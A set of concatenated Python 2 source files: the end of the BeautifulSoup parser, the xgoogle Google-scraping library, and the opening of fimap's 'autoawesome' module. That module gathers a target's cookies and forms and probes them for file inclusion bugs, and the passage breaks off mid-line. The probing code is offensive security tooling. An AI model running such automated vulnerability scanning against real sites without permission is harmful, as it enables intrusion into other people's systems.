self.declaredHTMLEncoding = newCharset self._feed(self.declaredHTMLEncoding) raise StopParsing tag = self.unknown_starttag("meta", attrs) if tag and tagNeedsEncodingSubstitution: tag.containsSubstitutions = True class StopParsing(Exception): pass class ICantBelieveItsBeautifulSoup(BeautifulSoup): """The BeautifulSoup class is oriented towards skipping over common HTML errors like unclosed tags. However, sometimes it makes errors of its own. For instance, consider this fragment: <b>Foo<b>Bar</b></b> This is perfectly valid (if bizarre) HTML. However, the BeautifulSoup class will implicitly close the first b tag when it encounters the second 'b'. It will think the author wrote "<b>Foo<b>Bar", and didn't close the first 'b' tag, because there's no real-world reason to bold something that's already bold. When it encounters '</b></b>' it will close two more 'b' tags, for a grand total of three tags closed instead of two. This can throw off the rest of your document structure. The same is true of a number of other tags, listed below. It's much more common for someone to forget to close a 'b' tag than to actually use nested 'b' tags, and the BeautifulSoup class handles the common case. This class handles the not-co-common case: where you can't believe someone wrote what they did, but it's valid HTML and BeautifulSoup screwed up by assuming it wouldn't be.""" I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \ ['em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong', 'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b', 'big'] I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ['noscript'] NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS) class MinimalSoup(BeautifulSoup): """The MinimalSoup class is for parsing HTML that contains pathologically bad markup. It makes no assumptions about tag nesting, but it does know which tags are self-closing, that <script> tags contain Javascript and should not be parsed, that META tags may contain encoding information, and so on. This also makes it better for subclassing than BeautifulStoneSoup or BeautifulSoup.""" RESET_NESTING_TAGS = buildTagMap('noscript') NESTABLE_TAGS = {} class BeautifulSOAP(BeautifulStoneSoup): """This class will push a tag with only a single string child into the tag's parent as an attribute. The attribute's name is the tag name, and the value is the string child. An example should give the flavor of the change: <foo><bar>baz</bar></foo> => <foo bar="baz"><bar>baz</bar></foo> You can then access fooTag['bar'] instead of fooTag.barTag.string. This is, of course, useful for scraping structures that tend to use subelements instead of attributes, such as SOAP messages. Note that it modifies its input, so don't print the modified version out. I'm not sure how many people really want to use this class; let me know if you do. Mainly I like the name.""" def popTag(self): if len(self.tagStack) > 1: tag = self.tagStack[-1] parent = self.tagStack[-2] parent._getAttrMap() if (isinstance(tag, Tag) and len(tag.contents) == 1 and isinstance(tag.contents[0], NavigableString) and not parent.attrMap.has_key(tag.name)): parent[tag.name] = tag.contents[0] BeautifulStoneSoup.popTag(self) #Enterprise class names! It has come to our attention that some people #think the names of the Beautiful Soup parser classes are too silly #and "unprofessional" for use in enterprise screen-scraping. We feel #your pain! For such-minded folk, the Beautiful Soup Consortium And #All-Night Kosher Bakery recommends renaming this file to #"RobustParser.py" (or, in cases of extreme enterprisiness, #"RobustParserBeanInterface.class") and using the following #enterprise-friendly class aliases: class RobustXMLParser(BeautifulStoneSoup): pass class RobustHTMLParser(BeautifulSoup): pass class RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup): pass class RobustInsanelyWackAssHTMLParser(MinimalSoup): pass class SimplifyingSOAPParser(BeautifulSOAP): pass ###################################################### # # Bonus library: Unicode, Dammit # # This class forces XML data into a standard format (usually to UTF-8 # or Unicode). It is heavily based on code from Mark Pilgrim's # Universal Feed Parser. It does not rewrite the XML or HTML to # reflect a new encoding: that happens in BeautifulStoneSoup.handle_pi # (XML) and BeautifulSoup.start_meta (HTML). # Autodetects character encodings. # Download from http://chardet.feedparser.org/ try: import chardet # import chardet.constants # chardet.constants._debug = 1 except ImportError: chardet = None # cjkcodecs and iconv_codec make Python know about more character encodings. # Both are available from http://cjkpython.i18n.org/ # They're built in if you use Python 2.4. try: import cjkcodecs.aliases except ImportError: pass try: import iconv_codec except ImportError: pass class UnicodeDammit: """A class for detecting the encoding of a *ML document and converting it to a Unicode string. If the source encoding is windows-1252, can replace MS smart quotes with their HTML or XML equivalents.""" # This dictionary maps commonly seen values for "charset" in HTML # meta tags to the corresponding Python codec names. It only covers # values that aren't in Python's aliases and can't be determined # by the heuristics in find_codec. CHARSET_ALIASES = { "macintosh" : "mac-roman", "x-sjis" : "shift-jis" } def __init__(self, markup, overrideEncodings=[], smartQuotesTo='xml'): self.markup, documentEncoding, sniffedEncoding = \ self._detectEncoding(markup) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] if markup == '' or isinstance(markup, unicode): self.originalEncoding = None self.unicode = unicode(markup) return u = None for proposedEncoding in overrideEncodings: u = self._convertFrom(proposedEncoding) if u: break if not u: for proposedEncoding in (documentEncoding, sniffedEncoding): u = self._convertFrom(proposedEncoding) if u: break # If no luck and we have auto-detection library, try that: if not u and chardet and not isinstance(self.markup, unicode): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: if not u: for proposed_encoding in ("utf-8", "windows-1252"): u = self._convertFrom(proposed_encoding) if u: break self.unicode = u if not u: self.originalEncoding = None def _subMSChar(self, orig): """Changes a MS smart quote character to an XML or HTML entity.""" sub = self.MS_CHARS.get(orig) if type(sub) == types.TupleType: if self.smartQuotesTo == 'xml': sub = '&#x%s;' % sub[1] else: sub = '&%s;' % sub[0] return sub def _convertFrom(self, proposed): proposed = self.find_codec(proposed) if not proposed or proposed in self.triedEncodings: return None self.triedEncodings.append(proposed) markup = self.markup # Convert smart quotes to HTML if coming from an encoding # that might have them. if self.smartQuotesTo and proposed.lower() in("windows-1252", "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ (lambda(x): self._subMSChar(x.group(1)), markup) try: # print "Trying to convert document to %s" % proposed u = self._toUnicode(markup, proposed) self.markup = u self.originalEncoding = proposed except Exception, e: # print "That didn't work!" # print e return None #print "Correct encoding: %s" % proposed return self.markup def _toUnicode(self, data, encoding): '''Given a string and its encoding, decodes the string into Unicode. %encoding is a string recognized by encodings.aliases''' # strip Byte Order Mark (if present) if (len(data) >= 4) and (data[:2] == '\xfe\xff') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16be' data = data[2:] elif (len(data) >= 4) and (data[:2] == '\xff\xfe') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16le' data = data[2:] elif data[:3] == '\xef\xbb\xbf': encoding = 'utf-8' data = data[3:] elif data[:4] == '\x00\x00\xfe\xff': encoding = 'utf-32be' data = data[4:] elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] newdata = unicode(data, encoding) return newdata def _detectEncoding(self, xml_data): """Given a document, tries to detect its XML encoding.""" xml_encoding = sniffed_xml_encoding = None try: if xml_data[:4] == '\x4c\x6f\xa7\x94': # EBCDIC xml_data = self._ebcdic_to_ascii(xml_data) elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' xml_data = unicode(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' xml_data = unicode(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' xml_data = unicode(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' xml_data = unicode(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' xml_data = unicode(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass xml_encoding_match = re.compile \ ('^<\?.*encoding=[\'"](.*?)[\'"].*\?>')\ .match(xml_data) except: xml_encoding_match = None if xml_encoding_match: xml_encoding = xml_encoding_match.groups()[0].lower() if sniffed_xml_encoding and \ (xml_encoding in ('iso-10646-ucs-2', 'ucs-2', 'csunicode', 'iso-10646-ucs-4', 'ucs-4', 'csucs4', 'utf-16', 'utf-32', 'utf_16', 'utf_32', 'utf16', 'u16')): xml_encoding = sniffed_xml_encoding return xml_data, xml_encoding, sniffed_xml_encoding def find_codec(self, charset): return self._codec(self.CHARSET_ALIASES.get(charset, charset)) \ or (charset and self._codec(charset.replace("-", ""))) \ or (charset and self._codec(charset.replace("-", "_"))) \ or charset def _codec(self, charset): if not charset: return charset codec = None try: codecs.lookup(charset) codec = charset except (LookupError, ValueError): pass return codec EBCDIC_TO_ASCII_MAP = None def _ebcdic_to_ascii(self, s): c = self.__class__ if not c.EBCDIC_TO_ASCII_MAP: emap = (0,1,2,3,156,9,134,127,151,141,142,11,12,13,14,15, 16,17,18,19,157,133,8,135,24,25,146,143,28,29,30,31, 128,129,130,131,132,10,23,27,136,137,138,139,140,5,6,7, 144,145,22,147,148,149,150,4,152,153,154,155,20,21,158,26, 32,160,161,162,163,164,165,166,167,168,91,46,60,40,43,33, 38,169,170,171,172,173,174,175,176,177,93,36,42,41,59,94, 45,47,178,179,180,181,182,183,184,185,124,44,37,95,62,63, 186,187,188,189,190,191,192,193,194,96,58,35,64,39,61,34, 195,97,98,99,100,101,102,103,104,105,196,197,198,199,200, 201,202,106,107,108,109,110,111,112,113,114,203,204,205, 206,207,208,209,126,115,116,117,118,119,120,121,122,210, 211,212,213,214,215,216,217,218,219,220,221,222,223,224, 225,226,227,228,229,230,231,123,65,66,67,68,69,70,71,72, 73,232,233,234,235,236,237,125,74,75,76,77,78,79,80,81, 82,238,239,240,241,242,243,92,159,83,84,85,86,87,88,89, 90,244,245,246,247,248,249,48,49,50,51,52,53,54,55,56,57, 250,251,252,253,254,255) import string c.EBCDIC_TO_ASCII_MAP = string.maketrans( \ ''.join(map(chr, range(256))), ''.join(map(chr, emap))) return s.translate(c.EBCDIC_TO_ASCII_MAP) MS_CHARS = { '\x80' : ('euro', '20AC'), '\x81' : ' ', '\x82' : ('sbquo', '201A'), '\x83' : ('fnof', '192'), '\x84' : ('bdquo', '201E'), '\x85' : ('hellip', '2026'), '\x86' : ('dagger', '2020'), '\x87' : ('Dagger', '2021'), '\x88' : ('circ', '2C6'), '\x89' : ('permil', '2030'), '\x8A' : ('Scaron', '160'), '\x8B' : ('lsaquo', '2039'), '\x8C' : ('OElig', '152'), '\x8D' : '?', '\x8E' : ('#x17D', '17D'), '\x8F' : '?', '\x90' : '?', '\x91' : ('lsquo', '2018'), '\x92' : ('rsquo', '2019'), '\x93' : ('ldquo', '201C'), '\x94' : ('rdquo', '201D'), '\x95' : ('bull', '2022'), '\x96' : ('ndash', '2013'), '\x97' : ('mdash', '2014'), '\x98' : ('tilde', '2DC'), '\x99' : ('trade', '2122'), '\x9a' : ('scaron', '161'), '\x9b' : ('rsaquo', '203A'), '\x9c' : ('oelig', '153'), '\x9d' : '?', '\x9e' : ('#x17E', '17E'), '\x9f' : ('Yuml', ''),} ####################################################################### #By default, act as an HTML pretty-printer. if __name__ == '__main__': import sys soup = BeautifulSoup(sys.stdin.read()) print soup.prettify()
Python
#!/usr/bin/python # # Peteris Krumins (peter@catonmat.net) # http://www.catonmat.net -- good coders code, great reuse # # http://www.catonmat.net/blog/python-library-for-google-search/ # # Code is licensed under MIT license. # import re import urllib from htmlentitydefs import name2codepoint from BeautifulSoup import BeautifulSoup from browser import Browser, BrowserError class SearchError(Exception): """ Base class for Google Search exceptions. """ pass class ParseError(SearchError): """ Parse error in Google results. self.msg attribute contains explanation why parsing failed self.tag attribute contains BeautifulSoup object with the most relevant tag that failed to parse Thrown only in debug mode """ def __init__(self, msg, tag): self.msg = msg self.tag = tag def __str__(self): return self.msg def html(self): return self.tag.prettify() class SearchResult: def __init__(self, title, url, desc): self.title = title self.url = url self.desc = desc def __str__(self): return 'Google Search Result: "%s"' % self.title class GoogleSearch(object): SEARCH_URL_0 = "http://www.google.com/search?q=%(query)s&btnG=Google+Search" NEXT_PAGE_0 = "http://www.google.com/search?q=%(query)s&start=%(start)d" SEARCH_URL_1 = "http://www.google.com/search?q=%(query)s&num=%(num)d&btnG=Google+Search" NEXT_PAGE_1 = "http://www.google.com/search?q=%(query)s&num=%(num)d&start=%(start)d" def __init__(self, query, random_agent=False, debug=False, page=0): self.query = query self.debug = debug self.browser = Browser(debug=debug) self.results_info = None self.eor = False # end of results self._page = page self._results_per_page = 10 self._last_from = 0 if random_agent: self.browser.set_random_user_agent() @property def num_results(self): if not self.results_info: page = self._get_results_page() self.results_info = self._extract_info(page) if self.results_info['total'] == 0: self.eor = True return self.results_info['total'] def _get_page(self): return self._page def _set_page(self, page): self._page = page page = property(_get_page, _set_page) def _get_results_per_page(self): return self._results_per_page def _set_results_par_page(self, rpp): self._results_per_page = rpp results_per_page = property(_get_results_per_page, _set_results_par_page) def get_results(self): """ Gets a page of results """ if self.eor: return [] MAX_VALUE = 1000000 page = self._get_results_page() #search_info = self._extract_info(page) results = self._extract_results(page) search_info = {'from': self.results_per_page*self._page, 'to': self.results_per_page*self._page + len(results), 'total': MAX_VALUE} if not self.results_info: self.results_info = search_info if self.num_results == 0: self.eor = True return [] if not results: self.eor = True return [] if self._page > 0 and search_info['from'] == self._last_from: self.eor = True return [] if search_info['to'] == search_info['total']: self.eor = True self._page += 1 self._last_from = search_info['from'] return results def _maybe_raise(self, cls, *arg): if self.debug: raise cls(*arg) def _get_results_page(self): if self._page == 0: if self._results_per_page == 10: url = GoogleSearch.SEARCH_URL_0 else: url = GoogleSearch.SEARCH_URL_1 else: if self._results_per_page == 10: url = GoogleSearch.NEXT_PAGE_0 else: url = GoogleSearch.NEXT_PAGE_1 safe_url = url % { 'query': urllib.quote_plus(self.query), 'start': self._page * self._results_per_page, 'num': self._results_per_page } try: page = self.browser.get_page(safe_url) except BrowserError, e: raise SearchError, "Failed getting %s: %s" % (e.url, e.error) return BeautifulSoup(page) def _extract_info(self, soup): empty_info = {'from': 0, 'to': 0, 'total': 0} div_ssb = soup.find('div', id='ssb') if not div_ssb: self._maybe_raise(ParseError, "Div with number of results was not found on Google search page", soup) return empty_info p = div_ssb.find('p') if not p: self._maybe_raise(ParseError, """<p> tag within <div id="ssb"> was not found on Google search page""", soup) return empty_info txt = ''.join(p.findAll(text=True)) txt = txt.replace(',', '') matches = re.search(r'Results (\d+) - (\d+) of (?:about )?(\d+)', txt, re.U) if not matches: return empty_info return {'from': int(matches.group(1)), 'to': int(matches.group(2)), 'total': int(matches.group(3))} def _extract_results(self, soup): results = soup.findAll('li', {'class': 'g'}) ret_res = [] for result in results: eres = self._extract_result(result) if eres: ret_res.append(eres) return ret_res def _extract_result(self, result): title, url = self._extract_title_url(result) desc = self._extract_description(result) if not title or not url or not desc: return None return SearchResult(title, url, desc) def _extract_title_url(self, result): #title_a = result.find('a', {'class': re.compile(r'\bl\b')}) title_a = result.find('a') if not title_a: self._maybe_raise(ParseError, "Title tag in Google search result was not found", result) return None, None title = ''.join(title_a.findAll(text=True)) title = self._html_unescape(title) url = title_a['href'] match = re.match(r'/url\?q=(http[^&]+)&', url) if match: url = urllib.unquote(match.group(1)) return title, url def _extract_description(self, result): desc_div = result.find('div', {'class': re.compile(r'\bs\b')}) if not desc_div: self._maybe_raise(ParseError, "Description tag in Google search result was not found", result) return None desc_strs = [] def looper(tag): if not tag: return for t in tag: try: if t.name == 'br': break except AttributeError: pass try: desc_strs.append(t.string) except AttributeError: desc_strs.append(t) looper(desc_div) looper(desc_div.find('wbr')) # BeautifulSoup does not self-close <wbr> desc = ''.join(s for s in desc_strs if s) return self._html_unescape(desc) def _html_unescape(self, str): def entity_replacer(m): entity = m.group(1) if entity in name2codepoint: return unichr(name2codepoint[entity]) else: return m.group(0) def ascii_replacer(m): cp = int(m.group(1)) if cp <= 255: return unichr(cp) else: return m.group(0) s = re.sub(r'&#(\d+);', ascii_replacer, str, re.U) return re.sub(r'&([^;]+);', entity_replacer, s, re.U)
Python
#!/usr/bin/python # # Peteris Krumins (peter@catonmat.net) # http://www.catonmat.net -- good coders code, great reuse # # http://www.catonmat.net/blog/python-library-for-google-search/ # # Code is licensed under MIT license. # import random import socket import urllib import urllib2 import httplib BROWSERS = ( # Top most popular browsers in my access.log on 2009.02.12 # tail -50000 access.log | # awk -F\" '{B[$6]++} END { for (b in B) { print B[b] ": " b } }' | # sort -rn | # head -20 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' ) TIMEOUT = 5 # socket timeout class BrowserError(Exception): def __init__(self, url, error): self.url = url self.error = error class PoolHTTPConnection(httplib.HTTPConnection): def connect(self): """Connect to the host and port specified in __init__.""" msg = "getaddrinfo returns an empty list" for res in socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: self.sock = socket.socket(af, socktype, proto) if self.debuglevel > 0: print "connect: (%s, %s)" % (self.host, self.port) self.sock.settimeout(TIMEOUT) self.sock.connect(sa) except socket.error, msg: if self.debuglevel > 0: print 'connect fail:', (self.host, self.port) if self.sock: self.sock.close() self.sock = None continue break if not self.sock: raise socket.error, msg class PoolHTTPHandler(urllib2.HTTPHandler): def http_open(self, req): return self.do_open(PoolHTTPConnection, req) class Browser(object): def __init__(self, user_agent=BROWSERS[0], debug=False, use_pool=False): self.headers = { 'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-us,en;q=0.5' } self.debug = debug def get_page(self, url, data=None): handlers = [PoolHTTPHandler] opener = urllib2.build_opener(*handlers) if data: data = urllib.urlencode(data) request = urllib2.Request(url, data, self.headers) try: response = opener.open(request) return response.read() except (urllib2.HTTPError, urllib2.URLError), e: raise BrowserError(url, str(e)) except (socket.error, socket.sslerror), msg: raise BrowserError(url, msg) except socket.timeout, e: raise BrowserError(url, "timeout") except: raise BrowserError(url, "unknown error") def set_random_user_agent(self): self.headers['User-Agent'] = random.choice(BROWSERS) return self.headers['User-Agent']
Python
#!/usr/bin/python # # Peteris Krumins (peter@catonmat.net) # http://www.catonmat.net -- good coders code, great reuse # # A Google Python library: # http://www.catonmat.net/blog/python-library-for-google-search/ # # Distributed under MIT license: # # Copyright (c) 2009 Peteris Krumins # # Permission is hereby granted, free of charge, to any person # Obtaining a copy of this software and associated documentation # Files (the "Software"), to deal in the Software without # Restriction, including without limitation the rights to use, # Copy, modify, merge, publish, distribute, sublicense, and/or sell # Copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # Conditions: # # The above copyright notice and this permission notice shall be # Included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. #
Python
#!/usr/bin/python # # Peteris Krumins (peter@catonmat.net) # http://www.catonmat.net -- good coders code, great reuse # # http://www.catonmat.net/blog/python-library-for-google-sponsored-links-search/ # # Code is licensed under MIT license. # import re import urllib import random from htmlentitydefs import name2codepoint from BeautifulSoup import BeautifulSoup from browser import Browser, BrowserError # # TODO: join GoogleSearch and SponsoredLinks classes under a single base class # class SLError(Exception): """ Sponsored Links Error """ pass class SLParseError(Exception): """ Parse error in Google results. self.msg attribute contains explanation why parsing failed self.tag attribute contains BeautifulSoup object with the most relevant tag that failed to parse Thrown only in debug mode """ def __init__(self, msg, tag): self.msg = msg self.tag = tag def __str__(self): return self.msg def html(self): return self.tag.prettify() GET_ALL_SLEEP_FUNCTION = object() class SponsoredLink(object): """ a single sponsored link """ def __init__(self, title, url, display_url, desc): self.title = title self.url = url self.display_url = display_url self.desc = desc class SponsoredLinks(object): SEARCH_URL_0 = "http://www.google.com/sponsoredlinks?q=%(query)s&btnG=Search+Sponsored+Links&hl=en" NEXT_PAGE_0 = "http://www.google.com/sponsoredlinks?q=%(query)s&sa=N&start=%(start)d&hl=en" SEARCH_URL_1 = "http://www.google.com/sponsoredlinks?q=%(query)s&num=%(num)d&btnG=Search+Sponsored+Links&hl=en" NEXT_PAGE_1 = "http://www.google.com/sponsoredlinks?q=%(query)s&num=%(num)d&sa=N&start=%(start)d&hl=en" def __init__(self, query, random_agent=False, debug=False): self.query = query self.debug = debug self.browser = Browser(debug=debug) self._page = 0 self.eor = False self.results_info = None self._results_per_page = 10 if random_agent: self.browser.set_random_user_agent() @property def num_results(self): if not self.results_info: page = self._get_results_page() self.results_info = self._extract_info(page) if self.results_info['total'] == 0: self.eor = True return self.results_info['total'] def _get_results_per_page(self): return self._results_per_page def _set_results_par_page(self, rpp): self._results_per_page = rpp results_per_page = property(_get_results_per_page, _set_results_par_page) def get_results(self): if self.eor: return [] page = self._get_results_page() info = self._extract_info(page) if self.results_info is None: self.results_info = info if info['to'] == info['total']: self.eor = True results = self._extract_results(page) if not results: self.eor = True return [] self._page += 1 return results def _get_all_results_sleep_fn(self): return random.random()*5 + 1 # sleep from 1 - 6 seconds def get_all_results(self, sleep_function=None): if sleep_function is GET_ALL_SLEEP_FUNCTION: sleep_function = self._get_all_results_sleep_fn if sleep_function is None: sleep_function = lambda: None ret_results = [] while True: res = self.get_results() if not res: return ret_results ret_results.extend(res) return ret_results def _maybe_raise(self, cls, *arg): if self.debug: raise cls(*arg) def _extract_info(self, soup): empty_info = { 'from': 0, 'to': 0, 'total': 0 } stats_span = soup.find('span', id='stats') if not stats_span: return empty_info txt = ''.join(stats_span.findAll(text=True)) txt = txt.replace(',', '').replace("&nbsp;", ' ') matches = re.search(r'Results (\d+) - (\d+) of (?:about )?(\d+)', txt) if not matches: return empty_info return {'from': int(matches.group(1)), 'to': int(matches.group(2)), 'total': int(matches.group(3))} def _get_results_page(self): if self._page == 0: if self._results_per_page == 10: url = SponsoredLinks.SEARCH_URL_0 else: url = SponsoredLinks.SEARCH_URL_1 else: if self._results_per_page == 10: url = SponsoredLinks.NEXT_PAGE_0 else: url = SponsoredLinks.NEXT_PAGE_1 safe_url = url % { 'query': urllib.quote_plus(self.query), 'start': self._page * self._results_per_page, 'num': self._results_per_page } try: page = self.browser.get_page(safe_url) except BrowserError, e: raise SLError, "Failed getting %s: %s" % (e.url, e.error) return BeautifulSoup(page) def _extract_results(self, soup): results = soup.findAll('div', {'class': 'g'}) ret_res = [] for result in results: eres = self._extract_result(result) if eres: ret_res.append(eres) return ret_res def _extract_result(self, result): title, url = self._extract_title_url(result) display_url = self._extract_display_url(result) # Warning: removes 'cite' from the result desc = self._extract_description(result) if not title or not url or not display_url or not desc: return None return SponsoredLink(title, url, display_url, desc) def _extract_title_url(self, result): title_a = result.find('a') if not title_a: self._maybe_raise(SLParseError, "Title tag in sponsored link was not found", result) return None, None title = ''.join(title_a.findAll(text=True)) title = self._html_unescape(title) url = title_a['href'] match = re.search(r'q=(http[^&]+)&', url) if not match: self._maybe_raise(SLParseError, "URL inside a sponsored link was not found", result) return None, None url = urllib.unquote(match.group(1)) return title, url def _extract_display_url(self, result): cite = result.find('cite') if not cite: self._maybe_raise(SLParseError, "<cite> not found inside result", result) return None return ''.join(cite.findAll(text=True)) def _extract_description(self, result): cite = result.find('cite') if not cite: return None cite.extract() desc_div = result.find('div', {'class': 'line23'}) if not desc_div: self._maybe_raise(ParseError, "Description tag not found in sponsored link", result) return None desc_strs = desc_div.findAll(text=True)[0:-1] desc = ''.join(desc_strs) desc = desc.replace("\n", " ") desc = desc.replace(" ", " ") return self._html_unescape(desc) def _html_unescape(self, str): def entity_replacer(m): entity = m.group(1) if entity in name2codepoint: return unichr(name2codepoint[entity]) else: return m.group(0) def ascii_replacer(m): cp = int(m.group(1)) if cp <= 255: return unichr(cp) else: return m.group(0) s = re.sub(r'&#(\d+);', ascii_replacer, str, re.U) return re.sub(r'&([^;]+);', entity_replacer, s, re.U)
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from baseClass import baseClass from targetScanner import targetScanner from singleScan import singleScan from xgoogle import BeautifulSoup from copy import deepcopy from crawler import crawler import sys, time, Cookie __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$09.11.2010 01:29:37$" class autoawesome(baseClass): def _load(self): self.URL = None def setURL(self, URL): self.URL = URL def scan(self): print "Requesting '%s'..." %(self.URL) extHeader = "" code, headers = self.doRequest(self.URL, self.config["p_useragent"], self.config["p_post"], self.config["header"], self.config["p_ttl"]) if (headers != None): for head in headers: if head[0] in ("set-cookie", "set-cookie2"): cookie = head[1] c = Cookie.SimpleCookie() c.load(cookie) for k,v in c.items(): extHeader += "%s=%s; " %(k, c[k].value) if (code == None): print "Code == None!" print "Does the target exist?!" print "AutoAwesome mode failed. -> Aborting." sys.exit(1) if (extHeader != ""): print "Cookies retrieved. Using them for further requests." extHeader = extHeader.strip()[:-1] if (self.config["header"].has_key("Cookie") and extHeader != ""): print "WARNING: AutoAwesome mode got some cookies from the server." print "Your defined cookies will be overwritten!" if (extHeader != ""): print "Testing file inclusion against given cookies..." self.config["header"]["Cookie"] = extHeader single = singleScan(self.config) single.setURL(self.URL) single.setQuite(True) single.scan() soup = BeautifulSoup.BeautifulSoup(''.join(code)) idx = 0 for form in soup.findAll("form"): idx += 1 caption = None desturl = None method = None if (soup.has_key("action")): desturl = soup["action"] else: desturl = self.URL if (form.has_key("name")): caption = form["name"] else: caption = "Unnamed Form #%d" %(idx) if (form.has_key("method")): if (form["method"].lower() == "get"): method = 0 else: method = 1 else: method = 1 # If no method is defined assume it's POST. params = "" for input in form.findAll("input"): if (input.has_key("name")): input_name = input["name"] input_val = None if (input.has_key("value")): input_val = input["value"] if (input_val == None): params += "%s=&" %(input_name) else: params += "%s=%s&" %(input_name, input_val) else: print "An input field doesn't have an 'name' attribute! Skipping it." if ("&" in params): params = params[:-1] print "Analyzing form '%s' for file inclusion bugs." %(caption) modConfig = deepcopy(self.config) if (method == 0): # Append the current get params to the current URL. if ("?" in desturl): # There are already params in the URL. desturl = "%s&%s" %(desturl, params) else: # There are no other params. desturl = 